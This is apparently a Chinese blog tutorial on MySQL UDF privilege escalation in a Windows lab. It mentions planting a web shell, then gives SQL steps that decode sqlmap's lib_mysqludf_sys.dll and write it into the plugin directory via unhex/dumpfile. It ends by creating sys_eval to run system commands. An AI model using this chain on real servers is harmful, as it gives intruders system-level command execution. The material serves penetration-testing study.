利用MySQL提权原理:
1、 具有mysql的root权限,且mysql以system权限运行。
2、 具有执行sql语句的权限,webshell或者外连皆可。
UDF提权
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
原理:
UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数。(其中包括了执行系统命令的函数)
要想利用udf,必须上传udf.dll作为udf的执行库。
mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。

实验环境
  • Windows Server 2008 R2 x64
  • wamp
  • MySQL-5.5.15-(64-bit).msi
  • xampp-win32-5.6.28-1-VC11-installer
  • 菜刀
  • sqlmap
  • PHPstudy

后渗透—— 数据库之udf提权_安全防护

模拟实验

1、环境搭建

安装xampp-win32-5.6.28-1-VC11-installer
后渗透—— 数据库之udf提权_安全防护_02
安装MySQL-5.5.15-(64-bit).msi
后渗透—— 数据库之udf提权_渗透测试_03
安装IIS服务器
后渗透—— 数据库之udf提权_安全防护_04
C:\inetpub\wwwroot目录下创建一句话木马文件
后渗透—— 数据库之udf提权_渗透测试_05
在浏览器中执行验证
后渗透—— 数据库之udf提权_安全防护_06

2、开始提权

C:\sqlmap-master\data\udf\mysql\windows\64目录下有lib_mysqludf_sys.dll_将他复制到C:\sqlmap-master\extra\cloak
后渗透—— 数据库之udf提权_渗透技术_07
進到C:\sqlmap-master\extra\cloak执行cloak.py -d -i lib_mysqludf_sys.dll_编译lib_mysqludf_sys.dll_文件然后将文件复制到桌面改名为udf.dll
后渗透—— 数据库之udf提权_渗透测试_08
进入数据库执行select hex(load_file("C:\\Users\\sq\\Desktop\\udf.dll")) into dumpfile 'c:\\Users\\sq\\Desktop\\1.txt';
后渗透—— 数据库之udf提权_安全防护_09
然后打开1.txt,用select unhex('原文内容') into dumpfile "C:\\Users\\sq\\Desktop\\2.dll";语句放到数据库中执行
后渗透—— 数据库之udf提权_安全防护_10
比较桌面的两个dll文件大小,一样的字节说明没有问题
后渗透—— 数据库之udf提权_安全防护_11
使用菜刀连接数据库
后渗透—— 数据库之udf提权_安全防护_12
執行select @@basedir获取C:/Program Files/MySQL/MySQL Server 5.5/数据库路径
后面拼接\Lib\Plugin\构造udf安装路径"C:\\Program Files\\MySQL\\MySQL Server 5.5\\Lib\Plugin\\udf,dll"也可使用show variables like '%plugin%'语句获取
后渗透—— 数据库之udf提权_渗透技术_13
然后利用菜刀执行语句select unhex('dll文件的16进制') into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\Lib\\Plugin\\udf.dll"

后渗透—— 数据库之udf提权_渗透测试_14

可以到该目录下验证
后渗透—— 数据库之udf提权_渗透技术_15
执行create function sys_eval returns string soname 'udf.dll'
后渗透—— 数据库之udf提权_渗透技术_16
点击func表然后执行就会看到创建的函数名
后渗透—— 数据库之udf提权_渗透测试_17
输入select sys_eval("whoami")成功执行
后渗透—— 数据库之udf提权_渗透技术_18